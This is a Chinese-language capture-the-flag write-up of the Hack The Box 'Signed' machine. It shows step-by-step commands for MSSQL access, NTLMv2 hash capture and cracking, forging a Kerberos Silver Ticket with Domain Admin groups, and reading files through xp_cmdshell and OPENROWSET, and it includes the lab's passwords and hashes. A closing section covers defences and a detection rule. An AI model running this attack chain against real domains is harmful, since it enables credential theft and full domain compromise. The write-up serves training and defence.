HTB Signed靶场实战：从MSSQL注入到域控沦陷的完整攻击链剖析
当企业将MSSQL服务部署在域环境中时，一个普通的数据库账户可能成为攻陷整个Active Directory的起点。本文将还原HTB Signed靶机中从低权限MSSQL用户到域管理员的全过程技术细节，重点解析Silver Ticket攻击在混合权限场景下的精妙应用。
1. 初始立足点建立与横向移动
任何渗透测试都需要找到合适的初始入口。在HTB Signed场景中，我们获得了一个普通MSSQL账户scott:Sm230#C5NatH。使用Impacket工具集连接目标数据库是最直接的方式：
impacket-mssqlclient scott:Sm230#C5NatH@10.10.11.152 -windows-auth连接成功后，通过执行SELECT SYSTEM_USER;确认当前权限为SIGNED\scott。此时需要寻找提权路径，几个关键查询可以帮助我们快速定位攻击面：
-- 检查当前用户角色 SELECT IS_SRVROLEMEMBER('sysadmin'); -- 枚举数据库链接 SELECT * FROM master..sysservers; -- 查看可执行存储过程 SELECT name FROM master..sysobjects WHERE type = 'P' AND name LIKE 'xp_%';通过Responder工具捕获到mssqlsvc域账户的NTLMv2哈希后，使用Hashcat进行离线破解：
hashcat -m 5600 hash.txt rockyou.txt --force成功获取明文密码purPLE9795!@后，我们升级为域账户SIGNED\mssqlsvc。但此时仍非sysadmin角色，需要更深入的权限提升手段。
2. Silver Ticket攻击的核心原理与实施
Kerberos协议中的服务票据（Service Ticket）验证缺陷是Silver Ticket攻击的基础。当攻击者获取服务账户的密码哈希后，可以伪造任意用户的访问权限。以下是关键步骤的技术实现：
2.1 获取必要的攻击要素
首先需要计算服务账户的NT哈希作为加密密钥：
echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4输出结果为ef699384c3285c54128a3ee1ddb1a0cc，这就是我们的加密密钥。接下来获取目标组的SID信息：
SELECT SUSER_SID('SIGNED\IT');通过Python脚本将十六进制SID转换为标准格式：
import binascii sid = binascii.unhexlify('0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000') print('S-{}-{}-{}'.format(sid[0], int.from_bytes(sid[2:8],'big'), '-'.join(str(int.from_bytes(sid[8+i*4:12+i*4],'little')) for i in range(sid[1]))))2.2 票据生成与权限组合策略
使用Impacket的ticketer模块生成银票时，需要特别注意权限组合：
impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc \ -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \ -domain SIGNED.HTB \ -spn MSSQLSvc/DC01.SIGNED.HTB \ -groups 512,1105 \ -user-id 1103 \ Administrator这里有几个关键参数需要理解：
-groups 512,1105：同时包含域管理员组(512)和IT组(1105)的RID-user-id 1103：指定mssqlsvc用户的RID确保SPN验证通过-spn：必须与目标服务的SPN完全匹配
3. 权限上下文差异的实战利用
获得高权限票据后，我们发现一个有趣的现象：通过xp_cmdshell执行的命令无法访问管理员目录，而OPENROWSET(BULK)却可以。这涉及到Windows安全模型的核心机制：
3.1 进程令牌与安全上下文
通过以下查询可以观察进程创建链：
EXEC xp_cmdshell 'wmic process where "name=''cmd.exe''" get processid,parentprocessid,commandline,executablepath';输出显示cmd.exe是作为SQL Server的子进程创建的。关键差异在于：
xp_cmdshell创建新进程时会使用服务账户的主令牌OPENROWSET(BULK)作为SQL Server内部函数使用当前线程的模拟令牌
3.2 文件读取的两种方式对比
失败的方式（xp_cmdshell）：
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\root.txt';成功的方式（OPENROWSET）：
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_BLOB) AS f;这种差异源于Windows的令牌继承机制。当SQL Server使用我们的伪造票据建立连接时，线程令牌包含了域管理员权限。而xp_cmdshell创建的新进程会丢弃模拟令牌，仅保留服务账户的基础权限。
4. 防御策略与检测建议
针对此类攻击，企业可以采取以下防护措施：
即时缓解措施：
- 对MSSQL服务账户启用Kerberos AES加密（而非RC4）
- 限制服务账户的本地权限和组策略设置
- 监控异常的Kerberos票据请求模式
长期加固方案：
# 启用Kerberos审计策略 auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable # 限制服务账户权限 Set-ADAccountControl -Identity mssqlsvc -TrustedForDelegation $falseSIEM检测规则示例：
event_id: 4769 AND Ticket_Encryption_Type: 0x17 AND Service_Name: NOT LIKE "%$" AND Account_Name: NOT LIKE "krbtgt"在实际渗透测试中，理解每种技术背后的原理比记住工具命令更重要。Silver Ticket攻击之所以有效，根本原因在于Kerberos协议对服务端验证的信任假设。防御方需要建立分层的检测体系，而攻击方则需要深入理解权限上下文的微妙差异。
